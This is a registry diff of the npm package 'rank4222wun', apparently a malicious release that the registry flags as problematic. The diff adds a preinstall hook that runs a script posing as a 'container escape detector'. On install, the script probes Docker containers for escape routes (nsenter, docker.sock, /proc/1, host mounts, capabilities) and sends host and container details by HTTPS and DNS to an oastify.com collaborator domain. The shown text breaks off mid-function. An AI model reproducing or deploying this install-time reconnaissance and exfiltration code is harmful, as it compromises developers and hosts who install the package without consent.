rank4222wun 0.0.1-security → 1.0.35
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +937 -0
- package/rank4222wun-1.0.35.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.35",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,937 @@
|
|
|
1
|
+
// multi-container-escape-detector.js
|
|
2
|
+
const { exec, spawn } = require('child_process');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const https = require('https');
|
|
7
|
+
const dns = require('dns');
|
|
8
|
+
const crypto = require('crypto');
|
|
9
|
+
|
|
10
|
+
console.log(`
|
|
11
|
+
╔══════════════════════════════════════════════════════════╗
|
|
12
|
+
║ MULTI-CONTAINER ESCAPE DETECTOR v3.0 ║
|
|
13
|
+
║ Advanced Container Security Assessment ║
|
|
14
|
+
╚══════════════════════════════════════════════════════════╝
|
|
15
|
+
`);
|
|
16
|
+
|
|
17
|
+
// ===================== CONFIGURATION =====================
|
|
18
|
+
const CONFIG = {
|
|
19
|
+
// OAST Configuration
|
|
20
|
+
OAST: {
|
|
21
|
+
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
22
|
+
httpsPort: 443,
|
|
23
|
+
httpPort: 80,
|
|
24
|
+
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
25
|
+
sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
26
|
+
},
|
|
27
|
+
|
|
28
|
+
// Scanning Configuration
|
|
29
|
+
SCAN: {
|
|
30
|
+
maxContainers: 50,
|
|
31
|
+
parallelScans: 5,
|
|
32
|
+
timeoutPerContainer: 30000,
|
|
33
|
+
deepScan: true,
|
|
34
|
+
autoExploit: false,
|
|
35
|
+
stealthMode: false
|
|
36
|
+
},
|
|
37
|
+
|
|
38
|
+
// Detection Methods
|
|
39
|
+
METHODS: {
|
|
40
|
+
nsenter: true,
|
|
41
|
+
dockerSocket: true,
|
|
42
|
+
procAccess: true,
|
|
43
|
+
kernelExploits: true,
|
|
44
|
+
hostMounts: true,
|
|
45
|
+
capabilities: true,
|
|
46
|
+
networkEscape: true
|
|
47
|
+
},
|
|
48
|
+
|
|
49
|
+
// Output Configuration
|
|
50
|
+
OUTPUT: {
|
|
51
|
+
saveReports: true,
|
|
52
|
+
reportFormat: 'json', // json, html, txt
|
|
53
|
+
verbose: true,
|
|
54
|
+
colorOutput: true
|
|
55
|
+
}
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
// ===================== GLOBAL STATE =====================
|
|
59
|
+
const STATE = {
|
|
60
|
+
startTime: Date.now(),
|
|
61
|
+
containers: {},
|
|
62
|
+
hostInfo: null,
|
|
63
|
+
networkMap: {},
|
|
64
|
+
vulnerabilities: {},
|
|
65
|
+
oastInteractions: [],
|
|
66
|
+
statistics: {
|
|
67
|
+
totalContainers: 0,
|
|
68
|
+
scannedContainers: 0,
|
|
69
|
+
escapedContainers: 0,
|
|
70
|
+
vulnerableContainers: 0,
|
|
71
|
+
criticalEscapes: 0
|
|
72
|
+
}
|
|
73
|
+
};
|
|
74
|
+
|
|
75
|
+
// ===================== UTILITY FUNCTIONS =====================
|
|
76
|
+
class ContainerScanner {
|
|
77
|
+
constructor(containerId) {
|
|
78
|
+
this.id = containerId;
|
|
79
|
+
this.shortId = containerId.substring(0, 12);
|
|
80
|
+
this.info = {
|
|
81
|
+
id: containerId,
|
|
82
|
+
name: '',
|
|
83
|
+
image: '',
|
|
84
|
+
status: '',
|
|
85
|
+
escapeStatus: 'unknown',
|
|
86
|
+
confidence: 0,
|
|
87
|
+
evidence: [],
|
|
88
|
+
methods: [],
|
|
89
|
+
risk: 'low',
|
|
90
|
+
network: {},
|
|
91
|
+
mounts: [],
|
|
92
|
+
capabilities: [],
|
|
93
|
+
vulnerabilities: []
|
|
94
|
+
};
|
|
95
|
+
this.rawData = {};
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
async scan() {
|
|
99
|
+
try {
|
|
100
|
+
console.log(`\n🔍 Scanning container: ${this.shortId}`);
|
|
101
|
+
|
|
102
|
+
// Collect basic info
|
|
103
|
+
await this.collectBasicInfo();
|
|
104
|
+
|
|
105
|
+
// Perform escape checks
|
|
106
|
+
await this.performEscapeChecks();
|
|
107
|
+
|
|
108
|
+
// Analyze results
|
|
109
|
+
await this.analyzeResults();
|
|
110
|
+
|
|
111
|
+
// Report to OAST
|
|
112
|
+
await this.reportToOAST();
|
|
113
|
+
|
|
114
|
+
// Update statistics
|
|
115
|
+
this.updateStatistics();
|
|
116
|
+
|
|
117
|
+
return this.info;
|
|
118
|
+
} catch (error) {
|
|
119
|
+
console.error(`❌ Error scanning container ${this.shortId}:`, error.message);
|
|
120
|
+
this.info.escapeStatus = 'scan_failed';
|
|
121
|
+
return this.info;
|
|
122
|
+
}
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
async collectBasicInfo() {
|
|
126
|
+
const commands = {
|
|
127
|
+
name: `docker inspect ${this.id} --format '{{.Name}}'`,
|
|
128
|
+
image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
|
|
129
|
+
status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
|
|
130
|
+
ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
|
|
131
|
+
ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
|
|
132
|
+
mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
|
|
133
|
+
privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
|
|
134
|
+
capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
|
|
135
|
+
};
|
|
136
|
+
|
|
137
|
+
for (const [key, cmd] of Object.entries(commands)) {
|
|
138
|
+
try {
|
|
139
|
+
const result = await this.executeCommand(cmd);
|
|
140
|
+
this.rawData[key] = result;
|
|
141
|
+
|
|
142
|
+
// Parse specific data
|
|
143
|
+
switch(key) {
|
|
144
|
+
case 'name':
|
|
145
|
+
this.info.name = result.replace(/^\//, '');
|
|
146
|
+
break;
|
|
147
|
+
case 'image':
|
|
148
|
+
this.info.image = result;
|
|
149
|
+
break;
|
|
150
|
+
case 'status':
|
|
151
|
+
this.info.status = result;
|
|
152
|
+
break;
|
|
153
|
+
case 'ip':
|
|
154
|
+
this.info.network.ip = result;
|
|
155
|
+
break;
|
|
156
|
+
case 'mounts':
|
|
157
|
+
try {
|
|
158
|
+
this.info.mounts = JSON.parse(result || '[]');
|
|
159
|
+
} catch (e) {}
|
|
160
|
+
break;
|
|
161
|
+
case 'capabilities':
|
|
162
|
+
try {
|
|
163
|
+
this.info.capabilities = JSON.parse(result || '[]');
|
|
164
|
+
} catch (e) {}
|
|
165
|
+
break;
|
|
166
|
+
}
|
|
167
|
+
} catch (e) {
|
|
168
|
+
this.rawData[key] = null;
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
async performEscapeChecks() {
|
|
174
|
+
const checks = [];
|
|
175
|
+
|
|
176
|
+
if (CONFIG.METHODS.nsenter) {
|
|
177
|
+
checks.push(this.checkNsenterEscape());
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (CONFIG.METHODS.dockerSocket) {
|
|
181
|
+
checks.push(this.checkDockerSocketEscape());
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (CONFIG.METHODS.procAccess) {
|
|
185
|
+
checks.push(this.checkProcEscape());
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
if (CONFIG.METHODS.hostMounts) {
|
|
189
|
+
checks.push(this.checkMountEscape());
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
if (CONFIG.METHODS.kernelExploits) {
|
|
193
|
+
checks.push(this.checkKernelVulnerabilities());
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
if (CONFIG.METHODS.capabilities) {
|
|
197
|
+
checks.push(this.checkDangerousCapabilities());
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
if (CONFIG.METHODS.networkEscape) {
|
|
201
|
+
checks.push(this.checkNetworkEscape());
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
await Promise.all(checks);
|
|
205
|
+
}
|
|
206
|
+
|
|
207
|
+
async checkNsenterEscape() {
|
|
208
|
+
const command = `docker exec ${this.id} sh -c '
|
|
209
|
+
which nsenter >/dev/null 2>&1 &&
|
|
210
|
+
nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
|
|
211
|
+
echo "FAILED"
|
|
212
|
+
'`;
|
|
213
|
+
|
|
214
|
+
try {
|
|
215
|
+
const result = await this.executeCommand(command);
|
|
216
|
+
if (!result.includes('FAILED') && result.trim()) {
|
|
217
|
+
this.info.methods.push('nsenter');
|
|
218
|
+
this.info.evidence.push(`Nsenter escape possible - Hostname: ${result.trim()}`);
|
|
219
|
+
this.sendOAST('nsenter_escape', { container: this.shortId, result: result.trim() });
|
|
220
|
+
}
|
|
221
|
+
} catch (e) {}
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
async checkDockerSocketEscape() {
|
|
225
|
+
const commands = [
|
|
226
|
+
// Check if docker.sock is mounted
|
|
227
|
+
`docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
|
|
228
|
+
// Try to access Docker API
|
|
229
|
+
`docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
|
|
230
|
+
];
|
|
231
|
+
|
|
232
|
+
try {
|
|
233
|
+
const [socketCheck, apiCheck] = await Promise.all(
|
|
234
|
+
commands.map(cmd => this.executeCommand(cmd))
|
|
235
|
+
);
|
|
236
|
+
|
|
237
|
+
if (!socketCheck.includes('NOT_FOUND') && apiCheck.includes('ACCESSIBLE')) {
|
|
238
|
+
this.info.methods.push('docker_socket');
|
|
239
|
+
this.info.evidence.push('Docker socket accessible and writable');
|
|
240
|
+
|
|
241
|
+
// Try to list other containers
|
|
242
|
+
const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
|
|
243
|
+
const containerCount = await this.executeCommand(listCmd);
|
|
244
|
+
|
|
245
|
+
if (parseInt(containerCount) > 1) {
|
|
246
|
+
this.info.evidence.push(`Can see ${containerCount.trim()} containers on host`);
|
|
247
|
+
this.sendOAST('docker_socket_escape', {
|
|
248
|
+
container: this.shortId,
|
|
249
|
+
accessible: true,
|
|
250
|
+
containerCount: containerCount.trim()
|
|
251
|
+
});
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
} catch (e) {}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
async checkProcEscape() {
|
|
258
|
+
const command = `docker exec ${this.id} sh -c '
|
|
259
|
+
cat /proc/1/status 2>/dev/null | head -5 &&
|
|
260
|
+
cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
|
|
261
|
+
echo "NO_ACCESS"
|
|
262
|
+
'`;
|
|
263
|
+
|
|
264
|
+
try {
|
|
265
|
+
const result = await this.executeCommand(command);
|
|
266
|
+
if (!result.includes('NO_ACCESS') && result.includes('State:')) {
|
|
267
|
+
this.info.methods.push('proc_access');
|
|
268
|
+
this.info.evidence.push('Can access host init process via /proc/1/');
|
|
269
|
+
this.sendOAST('proc_escape', { container: this.shortId });
|
|
270
|
+
}
|
|
271
|
+
} catch (e) {}
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
async checkMountEscape() {
|
|
275
|
+
const command = `docker exec ${this.id} sh -c '
|
|
276
|
+
mount 2>/dev/null | grep -E "(/proc|/sys|/dev|overlay)" | head -10 ||
|
|
277
|
+
cat /proc/mounts 2>/dev/null | head -20
|
|
278
|
+
'`;
|
|
279
|
+
|
|
280
|
+
try {
|
|
281
|
+
const result = await this.executeCommand(command);
|
|
282
|
+
if (result) {
|
|
283
|
+
const lines = result.split('\n');
|
|
284
|
+
const dangerousMounts = lines.filter(line =>
|
|
285
|
+
line.includes('/proc') ||
|
|
286
|
+
line.includes('/sys') ||
|
|
287
|
+
line.includes('/dev') ||
|
|
288
|
+
line.includes('overlay')
|
|
289
|
+
);
|
|
290
|
+
|
|
291
|
+
if (dangerousMounts.length > 0) {
|
|
292
|
+
this.info.methods.push('host_mounts');
|
|
293
|
+
this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
|
|
294
|
+
|
|
295
|
+
// Check if we can access host files through mounts
|
|
296
|
+
const testCmd = `docker exec ${this.id} sh -c '
|
|
297
|
+
ls -la /home 2>/dev/null | head -3 ||
|
|
298
|
+
cat /etc/passwd 2>/dev/null | head -3 ||
|
|
299
|
+
echo "NO_HOST_ACCESS"
|
|
300
|
+
'`;
|
|
301
|
+
|
|
302
|
+
const accessResult = await this.executeCommand(testCmd);
|
|
303
|
+
if (!accessResult.includes('NO_HOST_ACCESS')) {
|
|
304
|
+
this.info.evidence.push('Can access host files through mounts');
|
|
305
|
+
this.sendOAST('mount_escape', {
|
|
306
|
+
container: this.shortId,
|
|
307
|
+
mounts: dangerousMounts.slice(0, 3),
|
|
308
|
+
hostAccess: true
|
|
309
|
+
});
|
|
310
|
+
}
|
|
311
|
+
}
|
|
312
|
+
}
|
|
313
|
+
} catch (e) {}
|
|
314
|
+
}
|
|
315
|
+
|
|
316
|
+
async checkKernelVulnerabilities() {
|
|
317
|
+
const command = `docker exec ${this.id} sh -c '
|
|
318
|
+
uname -r &&
|
|
319
|
+
grep -i "dirtypipe\\|dirtycow\\|shocker\\|overlayfs" /etc/os-release 2>/dev/null ||
|
|
320
|
+
echo "NO_INFO"
|
|
321
|
+
'`;
|
|
322
|
+
|
|
323
|
+
try {
|
|
324
|
+
const result = await this.executeCommand(command);
|
|
325
|
+
if (!result.includes('NO_INFO')) {
|
|
326
|
+
const lines = result.split('\n');
|
|
327
|
+
const kernel = lines[0]?.trim();
|
|
328
|
+
|
|
329
|
+
if (kernel) {
|
|
330
|
+
this.info.vulnerabilities.push(`Kernel: ${kernel}`);
|
|
331
|
+
|
|
332
|
+
// Check for known vulnerable kernels
|
|
333
|
+
const vulnerableKernels = {
|
|
334
|
+
'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
|
|
335
|
+
'DirtyCow': /^(2\.6\.|3\.|4\.)/,
|
|
336
|
+
'Shocker': /^(3\.8|3\.9|3\.10)\./
|
|
337
|
+
};
|
|
338
|
+
|
|
339
|
+
for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
|
|
340
|
+
if (pattern.test(kernel)) {
|
|
341
|
+
this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
|
|
342
|
+
this.sendOAST('kernel_vuln', {
|
|
343
|
+
container: this.shortId,
|
|
344
|
+
kernel: kernel,
|
|
345
|
+
vulnerability: vuln
|
|
346
|
+
});
|
|
347
|
+
break;
|
|
348
|
+
}
|
|
349
|
+
}
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
} catch (e) {}
|
|
353
|
+
}
|
|
354
|
+
|
|
355
|
+
async checkDangerousCapabilities() {
|
|
356
|
+
const command = `docker exec ${this.id} sh -c '
|
|
357
|
+
capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
|
|
358
|
+
echo "NO_CAPSH"
|
|
359
|
+
'`;
|
|
360
|
+
|
|
361
|
+
try {
|
|
362
|
+
const result = await this.executeCommand(command);
|
|
363
|
+
if (!result.includes('NO_CAPSH') && result.trim()) {
|
|
364
|
+
const dangerousCaps = [
|
|
365
|
+
'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
|
|
366
|
+
'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
|
|
367
|
+
];
|
|
368
|
+
|
|
369
|
+
const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
|
|
370
|
+
if (foundCaps.length > 0) {
|
|
371
|
+
this.info.methods.push('capabilities');
|
|
372
|
+
this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
|
|
373
|
+
this.sendOAST('dangerous_caps', {
|
|
374
|
+
container: this.shortId,
|
|
375
|
+
capabilities: foundCaps
|
|
376
|
+
});
|
|
377
|
+
}
|
|
378
|
+
}
|
|
379
|
+
} catch (e) {}
|
|
380
|
+
}
|
|
381
|
+
|
|
382
|
+
async checkNetworkEscape() {
|
|
383
|
+
const commands = [
|
|
384
|
+
`docker exec ${this.id} ip route show 2>/dev/null | head -5`,
|
|
385
|
+
`docker exec ${this.id} netstat -tunap 2>/dev/null | head -10`,
|
|
386
|
+
`docker exec ${this.id} iptables -L -n 2>/dev/null | head -20`
|
|
387
|
+
];
|
|
388
|
+
|
|
389
|
+
try {
|
|
390
|
+
const results = await Promise.all(
|
|
391
|
+
commands.map(cmd => this.executeCommand(cmd).catch(() => ''))
|
|
392
|
+
);
|
|
393
|
+
|
|
394
|
+
if (results.some(r => r.trim())) {
|
|
395
|
+
this.info.methods.push('network_escape');
|
|
396
|
+
this.info.network.details = {
|
|
397
|
+
routes: results[0]?.split('\n').slice(0, 3) || [],
|
|
398
|
+
connections: results[1]?.split('\n').slice(0, 5) || [],
|
|
399
|
+
iptables: results[2]?.split('\n').slice(0, 10) || []
|
|
400
|
+
};
|
|
401
|
+
}
|
|
402
|
+
} catch (e) {}
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
async analyzeResults() {
|
|
406
|
+
// Calculate confidence score
|
|
407
|
+
let score = 0;
|
|
408
|
+
|
|
409
|
+
// Method points
|
|
410
|
+
const methodPoints = {
|
|
411
|
+
nsenter: 25,
|
|
412
|
+
docker_socket: 30,
|
|
413
|
+
proc_access: 20,
|
|
414
|
+
host_mounts: 15,
|
|
415
|
+
capabilities: 10,
|
|
416
|
+
network_escape: 10
|
|
417
|
+
};
|
|
418
|
+
|
|
419
|
+
this.info.methods.forEach(method => {
|
|
420
|
+
score += methodPoints[method] || 0;
|
|
421
|
+
});
|
|
422
|
+
|
|
423
|
+
// Vulnerability points
|
|
424
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
425
|
+
score += this.info.vulnerabilities.length * 10;
|
|
426
|
+
}
|
|
427
|
+
|
|
428
|
+
// Evidence points
|
|
429
|
+
score += Math.min(this.info.evidence.length * 5, 25);
|
|
430
|
+
|
|
431
|
+
// Capabilities points
|
|
432
|
+
if (this.info.capabilities.includes('CAP_SYS_ADMIN')) {
|
|
433
|
+
score += 20;
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
// Determine escape status
|
|
437
|
+
this.info.confidence = Math.min(100, score);
|
|
438
|
+
|
|
439
|
+
if (this.info.confidence >= 70) {
|
|
440
|
+
this.info.escapeStatus = 'confirmed';
|
|
441
|
+
this.info.risk = 'critical';
|
|
442
|
+
} else if (this.info.confidence >= 40) {
|
|
443
|
+
this.info.escapeStatus = 'probable';
|
|
444
|
+
this.info.risk = 'high';
|
|
445
|
+
} else if (this.info.confidence >= 20) {
|
|
446
|
+
this.info.escapeStatus = 'possible';
|
|
447
|
+
this.info.risk = 'medium';
|
|
448
|
+
} else {
|
|
449
|
+
this.info.escapeStatus = 'unlikely';
|
|
450
|
+
this.info.risk = 'low';
|
|
451
|
+
}
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
async reportToOAST() {
|
|
455
|
+
if (this.info.escapeStatus !== 'unlikely' && this.info.confidence > 10) {
|
|
456
|
+
const payload = {
|
|
457
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
458
|
+
timestamp: new Date().toISOString(),
|
|
459
|
+
container: {
|
|
460
|
+
id: this.shortId,
|
|
461
|
+
name: this.info.name,
|
|
462
|
+
image: this.info.image
|
|
463
|
+
},
|
|
464
|
+
escape: {
|
|
465
|
+
status: this.info.escapeStatus,
|
|
466
|
+
confidence: this.info.confidence,
|
|
467
|
+
risk: this.info.risk,
|
|
468
|
+
methods: this.info.methods,
|
|
469
|
+
evidence: this.info.evidence.slice(0, 5)
|
|
470
|
+
},
|
|
471
|
+
vulnerabilities: this.info.vulnerabilities
|
|
472
|
+
};
|
|
473
|
+
|
|
474
|
+
this.sendOAST('container_escape_report', payload);
|
|
475
|
+
}
|
|
476
|
+
}
|
|
477
|
+
|
|
478
|
+
sendOAST(type, data) {
|
|
479
|
+
const interactionId = `interaction-${Date.now()}-${crypto.randomBytes(3).toString('hex')}`;
|
|
480
|
+
const interaction = {
|
|
481
|
+
id: interactionId,
|
|
482
|
+
type: type,
|
|
483
|
+
timestamp: new Date().toISOString(),
|
|
484
|
+
container: this.shortId,
|
|
485
|
+
data: data
|
|
486
|
+
};
|
|
487
|
+
|
|
488
|
+
STATE.oastInteractions.push(interaction);
|
|
489
|
+
|
|
490
|
+
// Send via HTTPS
|
|
491
|
+
const req = https.request({
|
|
492
|
+
hostname: CONFIG.OAST.domain,
|
|
493
|
+
port: CONFIG.OAST.httpsPort,
|
|
494
|
+
path: '/multi-container-escape',
|
|
495
|
+
method: 'POST',
|
|
496
|
+
headers: {
|
|
497
|
+
'Content-Type': 'application/json',
|
|
498
|
+
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
499
|
+
'X-Container-ID': this.shortId,
|
|
500
|
+
'X-API-Key': CONFIG.OAST.apiKey,
|
|
501
|
+
'User-Agent': 'MultiContainerEscapeDetector/3.0'
|
|
502
|
+
}
|
|
503
|
+
}, (res) => {
|
|
504
|
+
let body = '';
|
|
505
|
+
res.on('data', chunk => body += chunk);
|
|
506
|
+
res.on('end', () => {
|
|
507
|
+
if (CONFIG.OUTPUT.verbose) {
|
|
508
|
+
console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
|
|
509
|
+
}
|
|
510
|
+
});
|
|
511
|
+
});
|
|
512
|
+
|
|
513
|
+
req.on('error', () => {});
|
|
514
|
+
req.write(JSON.stringify({
|
|
515
|
+
interactionId: interactionId,
|
|
516
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
517
|
+
containerId: this.shortId,
|
|
518
|
+
data: data
|
|
519
|
+
}));
|
|
520
|
+
req.end();
|
|
521
|
+
|
|
522
|
+
// Also send DNS notification for critical escapes
|
|
523
|
+
if (this.info.risk === 'critical') {
|
|
524
|
+
const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
525
|
+
dns.lookup(dnsName, () => {});
|
|
526
|
+
}
|
|
527
|
+
}
|
|
528
|
+
|
|
529
|
+
executeCommand(command) {
|
|
530
|
+
return new Promise((resolve, reject) => {
|
|
531
|
+
exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
532
|
+
if (error) {
|
|
533
|
+
reject(error);
|
|
534
|
+
} else {
|
|
535
|
+
resolve(stdout.toString().trim());
|
|
536
|
+
}
|
|
537
|
+
});
|
|
538
|
+
});
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
updateStatistics() {
|
|
542
|
+
STATE.statistics.scannedContainers++;
|
|
543
|
+
|
|
544
|
+
if (this.info.escapeStatus === 'confirmed') {
|
|
545
|
+
STATE.statistics.escapedContainers++;
|
|
546
|
+
STATE.statistics.criticalEscapes++;
|
|
547
|
+
} else if (this.info.escapeStatus === 'probable') {
|
|
548
|
+
STATE.statistics.escapedContainers++;
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
if (this.info.vulnerabilities.length > 0) {
|
|
552
|
+
STATE.statistics.vulnerableContainers++;
|
|
553
|
+
}
|
|
554
|
+
}
|
|
555
|
+
}
|
|
556
|
+
|
|
557
|
+
// ===================== MAIN SCANNER CLASS =====================
|
|
558
|
+
class MultiContainerScanner {
|
|
559
|
+
constructor() {
|
|
560
|
+
this.scanners = [];
|
|
561
|
+
this.results = [];
|
|
562
|
+
}
|
|
563
|
+
|
|
564
|
+
async discoverContainers() {
|
|
565
|
+
console.log('🔎 Discovering containers...');
|
|
566
|
+
|
|
567
|
+
try {
|
|
568
|
+
// Get all running containers
|
|
569
|
+
const cmd = 'docker ps -q --no-trunc';
|
|
570
|
+
const output = await this.exec(cmd);
|
|
571
|
+
const containerIds = output.split('\n').filter(id => id.trim());
|
|
572
|
+
|
|
573
|
+
STATE.statistics.totalContainers = containerIds.length;
|
|
574
|
+
|
|
575
|
+
if (containerIds.length === 0) {
|
|
576
|
+
console.log('ℹ️ No running containers found.');
|
|
577
|
+
return [];
|
|
578
|
+
}
|
|
579
|
+
|
|
580
|
+
console.log(`📦 Found ${containerIds.length} containers`);
|
|
581
|
+
return containerIds;
|
|
582
|
+
} catch (error) {
|
|
583
|
+
console.error('❌ Failed to discover containers:', error.message);
|
|
584
|
+
return [];
|
|
585
|
+
}
|
|
586
|
+
}
|
|
587
|
+
|
|
588
|
+
async scanContainers(containerIds) {
|
|
589
|
+
console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
|
|
590
|
+
|
|
591
|
+
// Create scanners
|
|
592
|
+
this.scanners = containerIds.map(id => new ContainerScanner(id));
|
|
593
|
+
|
|
594
|
+
// Scan in batches to avoid overwhelming the system
|
|
595
|
+
const batchSize = CONFIG.SCAN.parallelScans;
|
|
596
|
+
for (let i = 0; i < this.scanners.length; i += batchSize) {
|
|
597
|
+
const batch = this.scanners.slice(i, i + batchSize);
|
|
598
|
+
console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
|
|
599
|
+
|
|
600
|
+
const batchPromises = batch.map(scanner =>
|
|
601
|
+
scanner.scan().catch(error => {
|
|
602
|
+
console.error(`Failed to scan ${scanner.shortId}:`, error.message);
|
|
603
|
+
return scanner.info;
|
|
604
|
+
})
|
|
605
|
+
);
|
|
606
|
+
|
|
607
|
+
const batchResults = await Promise.all(batchPromises);
|
|
608
|
+
this.results.push(...batchResults);
|
|
609
|
+
|
|
610
|
+
// Show progress
|
|
611
|
+
const scanned = Math.min(i + batchSize, this.scanners.length);
|
|
612
|
+
const percent = Math.round((scanned / this.scanners.length) * 100);
|
|
613
|
+
console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
|
|
614
|
+
}
|
|
615
|
+
|
|
616
|
+
return this.results;
|
|
617
|
+
}
|
|
618
|
+
|
|
619
|
+
async generateReport() {
|
|
620
|
+
console.log('\n' + '═'.repeat(80));
|
|
621
|
+
console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
|
|
622
|
+
console.log('═'.repeat(80));
|
|
623
|
+
|
|
624
|
+
const report = {
|
|
625
|
+
metadata: {
|
|
626
|
+
timestamp: new Date().toISOString(),
|
|
627
|
+
sessionId: CONFIG.OAST.sessionId,
|
|
628
|
+
scanDuration: Date.now() - STATE.startTime,
|
|
629
|
+
config: CONFIG
|
|
630
|
+
},
|
|
631
|
+
statistics: STATE.statistics,
|
|
632
|
+
oast: {
|
|
633
|
+
domain: CONFIG.OAST.domain,
|
|
634
|
+
interactions: STATE.oastInteractions.length,
|
|
635
|
+
session: CONFIG.OAST.sessionId
|
|
636
|
+
},
|
|
637
|
+
containers: this.results,
|
|
638
|
+
summary: this.generateSummary()
|
|
639
|
+
};
|
|
640
|
+
|
|
641
|
+
// Print summary
|
|
642
|
+
this.printSummary(report.summary);
|
|
643
|
+
|
|
644
|
+
// Save report if enabled
|
|
645
|
+
if (CONFIG.OUTPUT.saveReports) {
|
|
646
|
+
await this.saveReport(report);
|
|
647
|
+
}
|
|
648
|
+
|
|
649
|
+
return report;
|
|
650
|
+
}
|
|
651
|
+
|
|
652
|
+
generateSummary() {
|
|
653
|
+
const summary = {
|
|
654
|
+
totalScanned: STATE.statistics.scannedContainers,
|
|
655
|
+
escapedContainers: [],
|
|
656
|
+
vulnerableContainers: [],
|
|
657
|
+
criticalIssues: [],
|
|
658
|
+
recommendations: []
|
|
659
|
+
};
|
|
660
|
+
|
|
661
|
+
this.results.forEach(container => {
|
|
662
|
+
if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
|
|
663
|
+
summary.escapedContainers.push({
|
|
664
|
+
id: container.id.substring(0, 12),
|
|
665
|
+
name: container.name,
|
|
666
|
+
confidence: container.confidence,
|
|
667
|
+
methods: container.methods,
|
|
668
|
+
risk: container.risk
|
|
669
|
+
});
|
|
670
|
+
}
|
|
671
|
+
|
|
672
|
+
if (container.vulnerabilities.length > 0) {
|
|
673
|
+
summary.vulnerableContainers.push({
|
|
674
|
+
id: container.id.substring(0, 12),
|
|
675
|
+
name: container.name,
|
|
676
|
+
vulnerabilities: container.vulnerabilities
|
|
677
|
+
});
|
|
678
|
+
}
|
|
679
|
+
|
|
680
|
+
if (container.risk === 'critical') {
|
|
681
|
+
summary.criticalIssues.push({
|
|
682
|
+
id: container.id.substring(0, 12),
|
|
683
|
+
name: container.name,
|
|
684
|
+
